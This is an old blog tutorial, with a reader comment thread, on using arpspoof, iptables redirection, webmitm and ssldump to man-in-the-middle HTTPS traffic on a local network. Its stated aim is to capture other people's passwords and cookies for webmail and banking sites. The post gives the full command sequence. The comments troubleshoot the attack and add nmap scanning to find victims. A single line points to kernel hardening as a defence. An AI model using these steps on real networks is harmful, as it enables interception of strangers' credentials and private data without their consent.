Ubuntu Unleashed: Howto: Use arpspoof, webmitm, and ssldump to effectively sniff passwords and other info via https connections on the lan/wlan with Ubuntu Linux!

Howto: Use arpspoof, webmitm, and ssldump to effectively sniff passwords and other info via https connections on the lan/wlan with Ubuntu Linux!

Labels: Hacking, Howto Posted by defcon on Saturday, May 10, 2008 at 5:05 PM

Let me show you how easy it is to sniff someone elses password/cookies via ssl/https on the lan/wlan with ubuntu linux.

We will be using Arp Spoofing/Poisoning for this attack, if you have problems with this howto, there is an alternate with ettercap here that may be a bit easier

You can learn more about arp spoofing and poisoning here

The Attack preparation:
First lets grab the necessary packages:
sudo apt-get install dsniff ssldump

Now lets enable packet forwarding:
sudo -s
echo 1 > /proc/sys/net/ipv4/ip_forward

Lets set some iptables rules:
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT

iptables -A FORWARD -j ACCEPT

arpspoof -t "target ip(person to own)" "gateway ip(router)"

webmitm -d

ssldump -n -d -k webmitm.crt | tee ssldump.log

Now all you do is wait for the target machine to log into google/gmail/yahoo/msn/hotmail or any other https connection, even a bank or whatever interests you and you will see the passwords pop up in the terminal.

Defense against this attack:
Please see my page on hardening the Ubuntu Linux kernel with sysctl here

It seems like this isnt working for everyone, I will be redoing this howto today, stay tuned.

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dudes · 881 weeks ago

hey thanks for the tutorial it seems interesting but

when I run

iptables -t nat -A PREROUTING -p tcp –dport 443 -j REDIRECT

I get

Bad argument `–dport'

Try `iptables -h' or 'iptables --help' for more information.

any ideas??

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rakudave · 881 weeks ago

the problem is the dash in front of dport.

fixing that I get

Bad argument `443'

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rakudave · 881 weeks ago

@defcon: thanks for the fix in the code, works now...

(was just about to post it myself ^^)

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dudes · 881 weeks ago

Thanks now it is working

but you will always need to know the IP address

for the machine you want to spoof so it is a game

after all???

1 reply · active 881 weeks ago

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defcon 52p · 881 weeks ago

dudes, to get the ip address try sudo apt-get install nmap ; sudo nmap -sP 192.168.1.1-255 on the lan/wlan

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dudes · 881 weeks ago

wow!!!

this is scary man!!!

sorry I gotta go I need to hared my kernel ;)

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question · 881 weeks ago

Hello every one...

when I run

arpspoof -t "192.168.1.101" "192.168.1.1"

I get an error ???

arpspoof: couldn't arp for host 192.168.1.101

dont know what to do

3 replies · active 855 weeks ago

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defcon 52p · 881 weeks ago

use arpsoof with "-i youriface" like arpspoof -i wlan0 or eth0, type ifconfig to see which iface u are using

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question · 881 weeks ago

am missing something in the last three steps cause when running

arpspoof -i eth1 -t "192.168.1.102" "192.168.1.1"

am getting

0:1c:bf:35:7:4c 0:1c:bf:50:59:ba 0806 42: arp reply 192.168.1.1 is-at 0:1c:bf:35:7:4c

0:1c:bf:35:7:4c 0:1c:bf:50:59:ba 0806 42: arp reply 192.168.1.1 is-at 0:1c:bf:35:7:4c

0:1c:bf:35:7:4c 0:1c:bf:50:59:ba 0806 42: arp reply 192.168.1.1 is-at 0:1c:bf:35:7:4c

and it just keeps repeating how can I invoke the command after it???

also if I cancel it and type

webmitm -d

it is stuck on this

webmitm: relaying transparently

thanks in advance

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user18 · 855 weeks ago

Same for me, how long should I spoot and what do the webmitm and ssldump command do?
It's get stuck when I run the ssldump command.

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cebrax · 876 weeks ago

Hello!

$ sudo webmitm -dd

webmitm: bind: Address already in use

I know that webmitm is trying to bind a port that is already in use.. But what should I do :(

Thanks for your prompt answer

1 reply · active 876 weeks ago

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cebrax · 876 weeks ago

[SOLVED]

sorry! that is because apache2 is using http (port 80) .

webmitm uses port 80 and 443 .

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Nathaniel · 875 weeks ago

Whenever I try the arpspoof, i get segmentation failed. I am new to Ubuntu, so I don't really know what I'm doing. I think i did everything right before this, but I'm not sure.

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poogi · 874 weeks ago

I get a lot of junk instead of only user/passwords anyone knows how to quickly filter them out?

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capricorn · 857 weeks ago

ssldump -n -d -k webmitm.crt | tee ssldump.log
PCAP: eth0: no IPv4 address assigned
..

I am getting this error .. Need update on that

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Dominique · 844 weeks ago

Psst. Use "ssldump -i wlan0 -n -d -k webmitm.crt | tee ssldump.log" and replace -i wlan0 with whatever interface you're using, such as ath0 or ppp0 or whatever.

I know the post I'm replying to is several months old, but I'm just writing this in case any googlers have run into the same problem.